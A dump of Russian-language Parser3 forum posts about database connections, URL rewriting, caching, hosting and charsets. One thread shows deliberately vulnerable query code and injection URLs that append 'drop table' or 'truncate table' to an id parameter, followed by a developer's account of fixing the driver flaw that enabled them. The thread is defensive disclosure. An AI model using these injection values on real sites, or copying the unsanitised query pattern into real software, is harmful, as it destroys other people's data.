^somemethod[$somehash]\
$key\
#выдаеть \"somevalue\"\
\
@somemethod[somehash][key]\
^somehash.foreach[key;value]{}\
$self.key\
$MAIN:key\
#выдаеть \"somevalue\"\
[/code]"
"66146","... но лучше просто не использовать для хранения значений итераторы циклов."
"66147","[code]$xmlfile[^xdoc::load[$xmlfile]]\
$root[^xmlfile.select[/root]]\
$hAttributes[^Node:getAttributes[$root.0]][/code]\
\
класс \"Node\" скачайте из\
http://www.parser.ru/examples/lib/"
"66149","Вчера, пока разбирался, забыл, зачем все начал... Вообщем, на свежую голову (может кому пригодиться):\
\
[b]Задача[/b]\
\"вырезать\" пользователя из строки запроса:\
[code]/~fade/news/ -> /u/news/?u=fade\
/ru/~fade/news/ -> /ru/u/news/?u=fade (для работы на многоязычном сайте)[/code]\
\
[b]Код .htaccess[/b]\
[code]RewriteEngine on\
RewriteOptions inherit\
\
RewriteRule ^(.*)/~([^/]+)/(.+)$ $1/u/$3?u=$2 [PT,QSA]\
RewriteRule ^~([^/]+)/(.*)$ ?u=$1&uri=/u/$2 [PT,QSA]\
\
RewriteCond %{REQUEST_FILENAME}	!-f\
RewriteCond %{REQUEST_FILENAME}	!-d\
\
RewriteRule ^(.*)$ /index.html?uri=/$1 [QSA,L][/code]"
"66150","тоже собираюсь поработать с гугл картами при помощи парсера.. может у когонить уже есть наработки?"
"66151","[i]При помощи парсера[/i] там работать не с чем.\
От клиента пришли ширина, долгота и, возможно, дополнительные свойства точки.\
Положить их в базу (или любое другое место хранения) — большого ума не надо.\
Достать и выдать — аналогично.\
Тривиальнейший код.\
\
Все сложности — на клиенте.\
Да и те, на поверку, и не сложности вовсе.\
[url=\"http://econym.googlepages.com/index.htm\"]В дополение к докам Гугла[/url]."
"66153","Вот даже после того, как я присвоил $response:location, скрипт продолжает выполняться (делать запросы, трансформировать xml) - это логично, однако часто это напрасная трата ресурсов...\
Иногда хотелось бы иметь возможность прервать выполнение скрипта... Или это зло?\
С одной стороны, мне было бы удобно если бы некоторый объект мог сделать редирект, не заботясь при этом о том, чтобы другие объекты после него учитывали его редирект и не делали лишних движений.\
С другой стороны поведение скрипта становится немного труднее понимаемым.\
\
Логично ли для такой задачи использовать throw ?"
"66164","Подскажите, что не правильно делаю при выборке таблицы из базы данных  SQLite:\
\
[code]^connect[sqlite://news]{\
$news[^table::sql{select * from news}]  \
} [/code]\
\
Выдается сообщение, что таблицы news нет:\
\
no such table: news"
"66165","Эх, а иногда для удобночитаемости break очень удобен ИМХО."
"66166","Почему название БД и таблицы одинковое? может из-за этого проблемы."
"66170","С подключением разобрался! А вот как вывести все таблицу целиком?\
Такой вот код таблицу не выводит\
[/code]^connect[sqlite://news]{\
$news[^table::sql{select * from news}]  \
} [/code]\
Подскажите как вывести?"
"66172","Решил попробовать, использовать SQlite что бы помочь человеку. Раньше им никогда не пользовался. \
\
С помощью ЫЙДшеуАвьштшыекфещкф создал базу. Вбил данные.\
\
Проверил выборку: SELECT * FROM test - всё работает нормально.\
\
Дальше пробуем на парсере:\
\
[code]\
@test[]\
^connect[sqlite://main.db]{\
$test[^table::sql{select * from test}]  \
} \
\
^test.menu{\
	$test.id / $test.name / $test.text\
}\
[/code]\
\
Результат:\
\
select * from test\
\
no such table: test\
\
Z:/home/sqlite/www/auto.p(8:15)\
\
Почему Win программы видит таблицу и позволяет с ней работать, а Парсер нет.\
\
Мне просто интересно ?"
"66173","ЫЙДшеуАвьштшыекфещкф - SQLiteAdministrator"
"66174","первый вопрос заключался в том, что не видна БД. решение очевидно: т.к. \"БД\" в SQLite это один файл, нужно поместить его в такое место, где его найдет парсер. даже если не читать документацию, то определяется это место проще простого: парсером создаётся таблица и смотрится где появился файл с новой БД. потом рядом кладётся ищеющаяся БД...\
\
второй вопрос заключался в выводе данных, полученных из БД. этот вопрос описан в одном из уроков, заниматься тут copy/paste-ом из-за того, что кому-то лень заглянуть в документацию -- незачем.\
\
сейчас вы повторно задан первый вопрос, на который было написано: \"С подключением разобрался!\""
"66175","Да действительно. Парсер создаёт базу данных в директории CGI.\
\
Видимо у Алексея из-за этого и возникли проблемы.\
\
Тогда вопрос именно по парсеру. Как правильно указать путь к существующей БД.\
\
Например меня не устраивате что моя БД будет лежать в CGI-BIN\
\
я её положил в /www/db/test.db\
\
Каков должен быть синтаксис:\
\
^connect[sqlite://main.db]{}\
\
что бы указать местоположение нужной базы данных ?"
"66176","[code]^connect[sqlite://../db/main.db]{}[/code]\
\
или согласно вашей задаче\
\
в www нверно не стоит хранить базу данных, но ежели очень хочется, то так:\
\
[code]^connect[sqlite://$request:document-root/db/main.db]{}[/code]"
"66177","Старый файл [code]parser3_2_0.ru.chm[/code] открывается, а версии [code]parser3_2_2.ru.chm[/code] и [code]parser3_2_3.ru.chm[/code] выдают предупреждение \"неизвестный издатель\" и далее в окне HTML Help \"Переход на веб-страницу отменен\". \
\
Система: WinXP SP2.\
Другие файлы-справки, что удалось найти на винте исправно открываются."
"66178","После скачки откройте прямо кликом по файлу и снимите галку предупреждения об открытии скачанного содержимого.\
\
Проверил — работает.\
Vista, IE7."
"66179","[quote]Ошибка 2. В области справа отображается сообщение об ошибке: «Переход на веб-страницу отменен».\
\
Решение. Для посмотра CHM-файла необходимо загрузить его на компьютер и извлечь из архива. Затем попробуйте действовать одним из двух следующих способов:\
\
Способ 1\
1. Дважды щелкните CHM-файл.\
2. В диалоговом окне «Открытие файла - предупреждение безопасности» снимите флажок «Всегда спрашивать при открытии таких файлов».\
3. Нажмите кнопку «Открыть».\
\
Способ 2\
1. Щелкните CHM-файл правой кнопкой мыши и выберите команду «Свойства».\
2. Нажмите кнопку «Разблокировать».\
3. Дважды щелкните CHM-файл, чтобы открыть его.[/quote]"
"66181","Приветствую! Прошу прощения, вопрос этот уже обсуждался, но, увы, всё что я нашел мне не помогло.\
\
По порядку: поставил следующую версию [url=\"http://www.tezro.ru/miscellaneous/files/\"](отсюда)[/url] на виртуальный хостинг от Валюхоста [url=\"http://v65.valuehost.ru/pi\"](инфо сервера)[/url]:\
\
FreeBSD 5.5: Parser 3.2.1sp2 + драйвер MySQL [прислал Андрей Шипилов]\
\
В результате:\
\
Can't connect to local MySQL server through socket '/tmp/mysql.sock' (2)\
\
Попробовал поставить версию от StopDesign [url=\"http://www.parser.ru/forum/?id=64177\"](отсюда)[/url] \
\
В результате: Internal Server Error\
\
Права выставлены правильно. Много раз до этого ставил парсер, и на валюхост тоже, акромя последних пары лет ;) И тут такая проблемка. Помогите советом. Спасибо!"
"66184","Если имеется ввиду версия, что лежит в разделе \"Скачать\"... Только что попробовал её, опять ошибка \
\
Can't connect to local MySQL server through socket '/tmp/mysql.sock' (2)"
"66186","Для примера, у меня на Gentoo путь таков:\
[code]\
/var/run/mysqld/mysqld.sock\
[/code]"
"66188","Увереным тут быть трудно ;) но в phpinfo показывает это:\
\
MYSQL_SOCKET 	/tmp/mysql.sock\
\
И ошибка, как я уже говорил, выглядит так:\
\
Can't connect to local MySQL server through socket '/tmp/mysql.sock'"
"66190","... @localhost:3306 ..."
"66191","Добрый вечер.\
\
[code]\
@GET_property[]\
…\
$result[something]\
[/code]\
\
Я правильно понимаю что этот код будет выполняться каждый раз когда вызывается $property?\
\
Т.е. имеет смысл сделать например так:\
[code]\
@create[]\
$private_property[]\
\
@GET_property[]\
^if(!def $private_property){\
…\
$private_property[something]\
}\
$result[$private_property]\
[/code]\
\
Или я что-то упустил?"
"66192","Если есть форма, и ее обработчик лежит в этом же файле, то браузер при перезагрузке страницы не обновляет ее, а берет из кеша (в некоторых случаях отключение кеша в тегах МЕТА не помогает), и создается впечатление, что данные не отправились.\
\
Как с этим правильно бороться? Держать обработчик отдельным файлом от формы, использовать response:location?"
"66193","Не вижу толку от добавления дополнительной проверки в геттере."
"66194","Проверка для того, чтобы остальной код не выполнялся повторно.\
Разве не так?"
"66195","Ну, да — по идее он и должен вызываться, просто я подумал что могут быть какие-то встроенные механизмы кеширования…"
"66196","у меня предположений почти не осталось.\
\
дело в том, что проблемы наших сборок для freebsd 6 (до 3.2.3) были немного не совместимы с драйвером (парсер собирался статически, а драйвер -- динамически, т.к. почему-то игнорировался default на freebsd 6).\
\
но это приводило к другой проблеме: неработоспособности драйвера.\
\
и проблема решалась пересборкой _парсера_ динамически, т.е. и парсер и драйвер оказывались собраны одинаково, при загрузке парсера загружались нужные либы и дальше тот-же драйвер работал нормально.\
\
\
в вашем случае парсер работает, драйвер работает, даже до клиентской библиотеки дело похоже доходит (это её сообщение), а вот она, при попытке достучаться до сервера через socket, -- обламывается.\
\
все упомянутые ранее аналогичные проблемы решались указанием \"правильного\" сокета, а у вас он как бы и так правильный (btw: попробуйте в строке соединения указать работу через сокет, а не через host:port).\
\
попробуйте убедиться, что вы используете корректную и работоспособную версию клиентской библиотеки. возьмите её от 5 версии mysql. попробуйте для предыдущей версии вашей ОС (если найдёте). ну а дальше я пас."
"66198","Лично я все проверки делаю в сеттере.\
Установка значения происходит значительно реже, чтения.\
Геттер же просто отдаёт поле."
"66199","Могу предложить сделать что-либо из следующего:\
\
1. Добавить незначащее скрытое поле со случайным числом.\
2. Устанавливать соответствующие хидеры.\
3. Если возможно, передавать форму POST-ом."
"66200","Единственный 100% способ — редирект на себя с указанием в URL'е некоторой случайной строки.\
Тогда данные гарантированно будут перезагружены.\
\
Можно выдать заголовки устаревания, но, Опера, например, имеет свою точку зрения на кэширование и заголовки эти вполне может проигнорировать."
"66203","Спасибо за пояснения. У меня на личном сервере под фрибсд 6 всё отлично работает, а вот тут под 5.5 на валюхосте какой-то цирк прям... Прошу прощения, а как через сокет указывать в строке соединения, какой формат? Никогда ж так не делал."
"66204","Либо второй вариант как советовал Миша:\
[code]\
$SQL.connect-string[mysql://LOGIN:PASSWORD@[/tmp/mysql.sock]localhost/DATABASE]\
[/code]"
"66205","Посмотрите сюда: http://www.tezro.ru/cgi/parser3.cgi\
И посмотрите сюда: Kernel version 5.5-STABLE\
\
Слабо?"
"66206","что \"слабо\"?"
"66207","В основном требуется администрирование всяких серверов со сложным софтом, написанном на парсере и С++.\
\
Описание вакансии [url=\"http://madgroup.ru/madjob/sysadmin/\"]здесь[/url].\
\
Стучать в buben на madgroup.ru или в аську: 776166."
"66208","В Москве,\
некоторые за 40к не могут найти эникейщика, а вы хотите сисадмина за 25к.\
\
Набираем рабов? :)"
"66211","Если BSD собрана с options COMPAT_FREEBSD4 то никаких проблем нет. (Эта опция \"по-умолчанию\".)"
"66212","Написал скрипт интерактивной карты города по типу maps.yandex\
Была нарисована карта размером 30000х20000px\
Встал вопрос как быстро (и не вручную) порезать её на мелкие картинки 200х200px\
Поискал в инете - не нашел\
Решил сам написать скрипт на parser с использованием NConvert`a для нарезки, но была вероятность что обработка этого громадного файла не пройдет.\
Но оказалось можно... простым перебором в цикле кропировал большую картинку на маленькие\
...2 часа ...и готово :)\
\
p.s. спасибо parserу, nconvertу и мне :)"
"66213","А мне как-то надо было цилиндрическую линзу расчитать.\
То есть, не саму линзу, а при каком коэффициенте преломления параллельные лучи будут точно фокусироваться на обратной стороне линзы. Все оптические программы, что нашёл в интернете были либо очень сложными для моего умишки, либо не обладали нужным функционалом %)\
В итоге — парсер и остаточные школьные знания тригонометрии в руки — получается [url=\"http://www.adm.dzr.nnov.ru/maq/lens/img.html?mu=2.5\"]вот такое[/url].\
\
Параметр mu можно менять и смотреть, что получится."
"66214","выкладывать код окромя хвалебных гимнов, особенно себе.\
потому что не вижу никакого практического смысла в подобных постах, хвалящих (как и ругающих) кого-либо или чего-либо, но не оставляющих ничего \"потомкам\""
"66215","Какой тут код?\
цикл1\
цикл2\
^oImg.crop[$sFileSrc;$sFileDest;$iX;$iY;$iCropWidth;$iCropHeight;$hParams]\
конецикла2\
конецикла1\
\
И дело совсем не в коде..."
"66216","порезать в ручную на несколько более мелких (например, 3000x2000) и далее - как обычно"
"66217","Скриптик бы посмотреть :) Как раз есть аналогичная задача"
"66218","да?\
не расскажете в чем же оно - дело, господин без имени?\
\
в выше упомянутом посте только три хоть что то значащих слова:\
\
[quote]p.s. спасибо parserу, nconvertу[/quote]\
\
которые разве что добавят приятных эмоций разработчикам (и это хорошо) - но как и все остальное не несут никакого информационного содержания. \
\
Товарищ задачу решал, насколько я понимаю два часа(не знаю че так долго, но тем не менее). Хотелось бы, чтобы следующий за ним не изобретал велосипед, а имел возможность посмотреть на чье то решение (что не освобождает его от необходимости думать).\
\
Уровень у всех разный. Кому то и эта задача может казаться сложной."
"66219","Я тоже оч часто использую парсер и многое другое не по прямому назначению и выкладывать ошмётки одноразового кода как-то нет ни какого желания\
\
Думаю форуму от этого пользы тоже, как и от вашего сообщения, не очень много будет.\
\
Если у человека есть приятное ощущение от технологии(й), то почему бы не поделиться своими субъективными впечатлениями - хочу заметить польза от этого есть вполне объективная"
"66220","Подскажите, что это за ошибка \
Unhandled exception 0xC0000005 at 0x00BA1349"
"66222","http://macromates.com/ - Пусть и слишком поздняя информация, но по име ИМХО... лучшее решение :-)"
"66223","Следующий код:\
[code]\
$fFile[^file::stat[/scripts/test.js]]\
\
File name: $fFile.name\
[/code]\
\
А имя файла выдает как noname.dat. Правильно это? Посмотрел документацию, ничего не увидел, чтобы было написано чтобы так было нужно. В форуме также не нашел ответа.\
\
P.S. Bug? Или имя файла мне самому распарсить с помощью Regexp?"
"66224","noname.dat -- это специальное имя файла, которое \"присваивается\" парсером файлу с неизвестным именем, например в момент, когда файл создаётся: ^file::create.\
\
однако, насколько я помню, при file::stat должен происходить разбор существующего имени файла. но я не уверен, т.к. данный метод я использую для получения дополнительной информации о файле: размера и даты модификации, а имя файла, при необходимости, я получаю из строки используя ^file:basename[строка].\
\
UPDATE: да, при ::stat не происходило заполнение поля .name. внёс изменения (cvs head), теперь оно доступно."
"66225","Есть задача выводить видео с веб-камеры в реальном времени на сайт. Мыслей пока нет, есть идеи?"
"66227","Делал подобную задачу года три назад. Для экономии трафика снимал с камеры не все кадры, а только 1 раз в секунду. Сейчас, можно и почаще ставить, каналы пошире стали. Ума там много не надо, все расписано в интерфейсе камеры."
"66228","первая ссылка - http://cserv.sourceforge.net/"
"66231","Что то не могу понять, работает ли парсер на 64битных системах. Почитал форум, сложилось впечатление, что не работает. Поставил на hoster.ru парсер, все работает. Написал письмо в службу поддержки, ответили, что возникали проблемы с MySQL.\
Ответьте. Как работает парсер на 64битных системах. Что работает, а что нет."
"66232","если у хостера установлена 64-битная ОС, но включена поддержка 32-битных приложений, то имеющийся в настоящий момент 32-битный парсер работать будет (однако возникнут проблемы сборки парсера из исходников с помощью стандартных скриптов сборки, т.к. для сборки 32-битного приложения на 64-битной ОС нужно указывать дополнительные опции).\
\
для того, чтобы парсер заработал с SQL необходимо, чтобы была установлена и 32-битная клиентская SQL библиотека (библиотека != драйвер парсера. SQL-драйвера парсера сейчас также 32-битные).\
\
если 32-битной клиентской библиотеки нет (спрашивайте у хостера/админа путь к ней) и поставить её самостоятельно невозможно (хотя обычно для установки необходимо скопировать одну .so-шку), то парсер не сможет работать с SQL."
"66233","Я не собирал, а просто скачал парсер и разархевировал его в нужные директории на хостинге и все."
"66234","ПОдскажите немножко\
вычисляемое выражение после LIMIT воспринимается ка ошибка, ругается You have an error in your SQL syntax; check the manual...\
[code]\
^connect[$connect_string]{\
  $news[^table::sql{select id, date, header, body, link, img_link, cat, size\
                    from news\
                    ^if(def $selected_cat){\
                    where cat = '$selected_cat'}\
                    ORDER BY Id DESC\
                    ^if(def $day2){LIMIT $co-$show_id.id, 10\
                    }{LIMIT 10}}]\
[/code]"
"66236","Позвонил в службу поддержки, сказали что ни того ни другого нет.\
Но вроде парсер работает, пример этого http://parser.101b.ru\
Просто создается таблица и удаляется. Все работает. Почему?"
"66237","... и посмотрите, что получается. А заодно почитайте в доке про параметры конструктора table::sql - там хорошо описано как задавать лимит и офсет."
"66239","я не знаю что подразумевала ваша служба техподдержки под \"тем ии другим\".\
\
парсер в принципе не может работать с sql, если на сервере установлена 64-битная клиентская библиотека (возможно установлена 32-битная или установлены обе, но техподдержка не в курсе).\
\
что подразумевается под \"Просто создается таблица и удаляется\" я не понимаю (у парсера есть объект-таблица, у sql серверов есть таблица). пожалуйста, формулируйте вопросы яснее."
"66240","Я пользуюсь хостингом hoster.ru\
Для того, что бы узнать работает ли парсер в полной мере на этом хостиге сделал просто сайт.\
Одна страница создает таблицу в базе данных мускула через \"CREATE TABLE\". Вторая удаляет эту таблицу, опять же через синтаксис мускула (\"DELETE table\" вроде так пишется).\
Все дело в том, что таблица спокойно создается и удаляется.\
Получается что парсер и мускул работают.(Парсер правильно подключается, отправляет строку запроса, принимает ответ от мускула ).\
А в службе поддержки утверждают, что у них 64 битная система, нет поддержки 32 битных приложений и нет 32 sql библиотеки."
"66242","а если подробнее, в чем они ошибаются"
"66243","[quote]них 64 битная система, нет поддержки 32 битных приложений и нет 32 sql библиотеки.[/quote]\
\
раз работает 32-битный парсер - значит эта поддержка 32 битных приложений есть. \
раз спокойно работает с mysql - значит есть 32-битная либа.\
Это разве не очевидно?\
\
либо у них вообще 32-битная ось, а они и этого не знают :)\
\
\
И потом что вас беспокоит? Работает - и хорошо"
"66244","Тут еще позорная ошибка $co-$show_id.id,  а правильно ^eval($co-$show_id.id)"
"66245","Имеется база mysql с записями. Некоторые записи удалялись, поэтому получается что идентификаторы записей различаются больше чем на единицу.\
Есть ли простой способ определения реального номера записи, или придется городить счетчик через цикл? Если считать каждый раз при обращении к записи получится большая загрузка на процессор."
"66246","P.S. если кратко -- никто никогда не считает подобный порядковый номер, потому что он нафиг никому не нужен."
"66247","... если возникла такая задача, то Вы где-то ошиблись с проектированием структуры реляционной базы данных."
"66248","не знаю зачем это понадобилось автору, но скажем у меня была такая ситуация - \"многостраничный\" каталог, по 12 предметов на странице, для формирования строки навигации товара (breadcrumbs) нужно было узнать на какой именно странице каталога данный товар находится."
"66249","Вообще СУБД сама решает в каком порядке физически хранить записи, и этот порядок в общем случае не определен и может не совпадать с порядком _вставки_ в базу. Например при фиксированных строках, СУБД может впихивать новые записи в \"дырки\" оставшиеся от удаленных, для избежания фрагментации и распухания БД. Что в этом случае есть реальный номер записи?"
"66250","это я пытаюсь угадать истинные намерения автора. Очевидно что подразумевается некий порядок очередности, в данном случае судя по всему это ORDER BY id, т.е. \"в том порядке в котором были вставлены\".\
\
в моем случае условие было примерно такое: \"определить порядковый номер записи в списке, выбранном с определенными условиями и отсортированном в определенном порядке\", т.е. по большому счету то же самое.\
 \
Кстати там ничего сложного, полтора sql запроса плюс хэш лукап %)"
"66251","В раздел \"переходим к работе БД\".\
\
Нигде там не нашёл, почему в запросе поля, пришедшие от пользователя, надо заключать в кавычки, т.е. '$form:text'.\
\
Если забыть, код\
[code]$t[^table::sql{select somecolumn from sometable where id = $form:id}][/code]\
с удовольствием кушает sql-injections\
[code]somesite.ru/?id=1;drop%20table%20sometable[/code]\
\
Предлагаю добавить в мануал предупреждение (выделить красным), чтоб не забывали про это. Будет полезно, особенно новичкам."
"66253","в парсере это не сработает по двум причинам: \
1) tainting \
2) ограничение на один запрос в одном конструкторе"
"66256","Приведите код, поглядим."
"66257","3.2.2b (compiled on i386-pc-win32)\
MySQL 5.0.45-community-nt\
\
[code]# создаём табличку и немного заполняем её\
^if($form:nameless eq \"foo\"){\
	^db{\
		^void:sql{drop table if exists objects}\
		^void:sql{create table objects (id int unsigned not null primary key auto_increment, name varchar(255))}\
		^void:sql{insert into objects (name) values (\"foo\")}\
	}\
}\
\
<a href=\"/profile/?foo\">создать табличку objects и заполнить её</a>\
\
<p>\
# уязвимый для sql-injections код\
^db{\
	$obj[^table::sql{select id, name from objects ^if(def $form:id){where id = $form:id}}]\
}\
\
^if(def $obj){\
	^obj.menu{$obj.id $obj.name<br/>}\
}{\
	пусто \
}\
\
<p>\
\
<a href=\"/profile/?id=x1\">узнаём подробности</a><br/>\
<a href=\"/profile/?id=1;truncate%20table%20objects\">sql-injection</a>[/code]"
"66258","1. 123 и '123' в SQL запросе -- две большие разницы, rtfm;\
2. как вам уже написали, SQL injection в случае с парсер-ом не будет (спасибо taint-ингу, который впрочем вы можете запросто сломать, написав вокруг SQL запроса ^taint[as-is][...]), в чем вы могли убедиться опробовав ваш код;\
3. упомянутая вами 'защита' элементарно обходится добавлением в query string в нужных местах апострофа (если вы таки написали ^taint[as-is][]);\
4. защищаться от некорректной подстановки в запрос букв вместо чисел надо не с помощью апострофов, а с помощью преобразований к числу: '... where id = ^form:id.int(0)'\
5. про это написано на странице с описанием taint/untaint."
"66259","Однако, на сайте (хостинг) не прокатило.\
\
Топик можно закрывать :)"
"66266","Если подобная проблема вас волнует и в коде не предусмотрены минимальные средства защиты (см пост Миши), то можно воспользоваться версией 9.4 парсеровского драйвера для MySQL'я:\
http://www.parser.ru/f/1/download/win32/parser3sql_9_4_win32_mysql.zip\
http://www.parser.ru/f/1/download/freebsd/parser3sql_9_4_freebsd49R_mysql.tar.gz\
http://www.parser.ru/f/1/download/freebsd6/parser3sql_9_4_freebsd61R_mysql.tar.gz\
http://www.parser.ru/f/1/download/redhat/parser3sql_9_4_redhat73_mysql.tar.gz\
\
Для тех, кто собирает драйвер из исходников:\
[code]\
заменить в драйвере строку\
host, user, pwd, db, port?port:MYSQL_PORT, unix_socket, CLIENT_MULTI_STATEMENTS))\
на\
host, user, pwd, db, port?port:MYSQL_PORT, unix_socket, CLIENT_MULTI_RESULTS))\
[/code]\
\
Важное замечание: старый драйвер не поддерживает работу с хранимыми процедурами и функциями."
"66267","итак, в связи с поднятой темой некоторые попытались воспроизвести sql-injection и... воспроизвели.\
\
собственно проблема в том, что в находящемся в настоящее время в разделе скачать драйвере возможно в рамках одной sql инструкции указать несколько запросов, и все они выполнятся (в принципе для некоторых это может быть и хорошо).\
\
дальше начали выясненять момент, в который уровень защиты при работе с SQL у парсера понизился и то, насколько именно он понизился.\
\
уровень защиты понизился с релизом обновлённого драйвера mysql, в котором была добавлена возможность вызова хранимых процедур. этот релиз совпал с релизом парсера версии 3.2.2. в присланном патче вместо константы CLIENT_MULTI_RESULTS была указана константа CLIENT_MULTI_STATEMENTS, которая не только позволяет выполнять хранимые процедуры, но и позволяет в одной инструкции отправлять серверу несколько sql запросов. увы, перед включением этого патча я не сверился с документацией и не проверил всё самолично.\
\
теперь об уровне понижения защиты: в случае, если вы писали в ваших SQL запросах конструкции вида \"...where id=$form:id...\", то в вашей системе в любом случае была уязвимость и злоумышленник мог ей пользоваться даже с драйвером без данного патча. однако в случае, если данные конструкции содержатся в ваших sql запросах и вы работаете с драйвером с данным патчем, то возможности по использованию sql-injection злоумышленником несколько расширяются.\
\
если же вы при написании sql запросов, в случае подстановки в них данных поступивших из внешних источников, строчные данные заключали в апострофы (\"...where uid='$form:uid'...\"), а числовые данные или явно преобразовывали к числам, как это рекомендуется в документации и не раз упомяналось в форуме (\"...where id=^form:id.int(0)...\"), или заключали в апострофы (\"...where id='$form:id'...\"), то ни со старой версией драйвера ни с новой ваш код не подвержен обсуждаемой тут sql-injection.\
\
[b]UPDATE:[/b]\
- правки в драйвер внесены. всё есть в cvs (HEAD и branch release_9_6).\
- в раздел [url=\"/download/\"]скачать[/url] выложены новые версии mysql драйвера для всех систем. \
- инсталлятор для win32 пересобран (больше в нём ничего не менялось). \
- добавлена опция ?multi_statements=1, которая включает этот самый multi statements (вдруг кому нужно).\
\
если вы не уверены в своём коде (подробности см. выше), то рекомендуется обновить mysql драйвер с версии 9.5 на 9.4 или 9.6, если уверены -- делать ничего не требуется."
"66268","Наверное все знают, что удалять строки в БД - не есть хорошо. Намного лучше пометить строку как удаленную, а позже, при новом инсерте - заапдейтить одну из удаленных строк. \
\
Я тоже всегда так считал, и вот, при разработке нового движка, решил реализовать данный механизм. Но почти сразу наткнулся на мысль, что это может привести к определенным трудностям. \
\
К примеру, имеем товар с айди=1. Роботы проиндексили, люди понаделали закладок - ссылка пашет. Тут мы удаляем товар (помечаем строку удаленной), и пишем вместо данной строки новый товар. В итоге на месте ожидаемого товара будет совсем другой. Навскидку подумалось создавать некий уникальный идентификатор товара, и вытаскивать строки не по айди, а именно по этому идентификатору. Но это уже другая задача, и ее реализация, без накладки на производительность, будет непростой. \
\
В итоге получаем дилемму - или не_удалять, иметь целостность индексов и быстрый поиск в БД, но меньшую скорость при апдейте базы, или удалять, херя по чуть чуть базу, но иметь ту же скорость во всех операциях с БД. Какие идеи по данной теме, может кто уже решал эту проблему?"
"66269","На локальной машине (WinXP):\
Простая форма с вызовом себя (кодировка страницы UTF8).\
После отправки данных загружаю файл в кодировке win-1251\
[code]$tablelist[^table::load[filewin1251.csv; \
	$.separator[^;]\
	$.charset[windows-1251]\
]][/code]\
Всё работает!\
\
На хостинге (FreeBSD 6.2):\
[code]load\
invalid option passed[/code]\
Ошибка!\
\
Если убрать в загрузке опцию с charset и перекодировать вручную загружаемый файл, то работает без ошибки.\
В конфигурационном auto.p заданы: [code]$confdir[^file:dirname[$filespec]]\
$charsetsdir[$confdir/charsets][/code]\
\
на локальной машине $charsetsdir содержит c:\\www\\somesite\\cgi-bin/charsets\
на хостинге ./charsets\
\
В справке написано что:\
[quote]$CHARSETS[ \
   $.windows-1251[/полный/путь/к/windows-1251.cfg] \
   … \
] [/quote]\
\
Мне кажется что на хостинге parser3.cgi не видит, где находится *.cfg\
\
p.s. сначала подумал что это из-за того что на моём новом хостинге каталог с парсер зовётся cgi. попробовал на старом, где cgi-bin результат такой же :("
"66270","[quote]Наверное все знают, что удалять строки в БД - не есть хорошо.[/quote]\
\
Подумать только, столько лет жил непросветлённым.\
\
Кто эти «все» и откуда они это знают?..\
\
[quote]Намного лучше пометить строку как удаленную[/quote]\
\
Если понадобится восстановить.\
\
[quote]а позже, при новом инсерте - заапдейтить одну из удаленных строк[/quote]\
\
Нафига?..\
\
[quote]К примеру, имеем товар с айди=1. Роботы проиндексили, люди понаделали закладок - ссылка пашет. Тут мы удаляем товар (помечаем строку удаленной), и пишем вместо данной строки новый товар.[/quote]\
\
Это чтоб людям и роботам жисть мёдом не казалась, вносим разнообразие в серые будни?\
\
[quote]Навскидку подумалось создавать некий уникальный идентификатор товара, и вытаскивать строки не по айди, а именно по этому идентификатору. Но это уже другая задача, и ее реализация, без накладки на производительность, будет непростой.[/quote]\
\
В пределах таблицы даже простой числовой иденификатор вполне себе «уникальный идентификатор».\
\
О какой «производительности» речь?\
Десять миллионов товаров и выборка за миллисекунды для сотни клиентов одновременно?..\
\
[quote]не_удалять, иметь целостность индексов и быстрый поиск в БД, но меньшую скорость при апдейте базы[/quote]\
\
А при удалении нарушается целостность индексов и падает скорость поиска?\
Каких именно индексов, как нарушается, какой именно поиск, и как падает его скорость?\
\
[quote]Какие идеи по данной теме, может кто уже решал эту проблему?[/quote]\
\
Не забивать голову ерундой.\
\
Если запись удаляется — смело удалять.\
Если может понадобится восстановление — маркировать, удалять позже.\
\
Зачем на старый ID вешать новые данные, создавая гемморой пользователям и себе — понять затрудняюсь."
"66274","На хостинге была версия 3.2.1, на локальной машине 3.2.3.\
С ранней версией воспроизвёл ошибку на локальной машине.\
Что интересно, если дело в версиях, то код я писал со справкой от 3.2.0, а там написано что $.charset[кодировка] применяется с версии 3.1.0."
"66275","в доке в настоящий момент я вообще не вижу где написано про это опцию у ^table::load[] (добавлю)"
"66276","Я пользуюсь справкой формата chm.\
[quote]load. Загрузка таблицы с диска или HTTP-сервера \
...\
^table::load[имя файла;опции загрузки]\
...\
Опции загрузки - об основных опция см. раздел «Работа с HTTP-серверами», также доступны дополнительные опции, см. «Опции формата файла». [/quote]\
Вот там и написано про $.charset[кодировка] начиная с версии [3.1.0]"
"66278","Задача: вставить код одной страницы (содержащей html и parser) в другую, и чтобы все это выполнялось.\
\
Например страница test.html\
[code]<b>2</b> + <i>2</i> = <font color=\"red\">^eval(2 + 2)</font>[/code]\
\
необходимо все это вставить в файл index.html\
\
Вариант решения:\
С html разобрался при помощи:\
[code]$file[^file::load[text;test.html]] \
^taint[optimized-as-is][$file.text][/code]\
... но получаю\
[b]2[/b] + [i]2[/i] = [color=\"#ff0000\"]^eval(2 + 2)[/color]\
\
т.е. html нормально выполняется, а вот Parser не хочет.\
\
Прошу помощи в решении этой проблемы, заранее благодарен.\
\
P.S. Я не программист, поэтому прошу прощения, если вопрос банален, но поиски по докам и форуму ничего не дали."
"66280","Ну тогда всё просто решается даже в случае со старой версией.\
Если загружаемый файл лежит в веб-пространстве, то достаточно загрузить его по HTTP с указанием кодировки\
[code]$table[^table::load[[color=\"#ff0000\"]http://[/color]...;\
$.charset[...]\
]][/code]\
\
Спасибо!"
"66281","Вот к примеру в админовке 1000 статей - у меня это 100 страниц.\
Хочу добавить возможность перейти к конкретной статье по ее id, но так, чтобы при этом переходило на нужную страницу и там подсвечивалась нужная статья.\
Если бы я был уверен, что id идут по порядку - проблемы не было... Однако я точно знаю, что это не так.\
Существует ли решение подобной задачи?..."
"66282","Думаю не сильно накладно будет выбрать из базы айди для всех Ваших 1000 статей в таблицу парсера, после чего выполнить locate и посмотреть offset текущей строки.\
Дальше, думаю, справитесь."
"66283","но это очень не хороший подход, может раскажете зачем вам это надо?"
"66286","с 1 по 4 - дальше для меня болото ... я-ж говорю, я не пограмист и задачи у меня минимальные. Для решения 90% мне как-раз и подошел Парсер. Единственное, чего не смог решить ..."
"66287","Спасибо, то что надо.\
\
Не хороший в каком смысле? Безопасности? \
У меня сайт, если можно так сказать, статичный. Ни одной формы. Практически все - ручками."
"66288","примерно так, 12 это число товаров на страницу:\
[code]########################################################################\
# вычисляем порядковый номер страницы продукта в группе,\
# нужно для ссылок в дублирующей навигации\
@_getSlider[object][hBROS]\
$hBROS[^self._getProdHashFromDB[$object.parent_id]]\
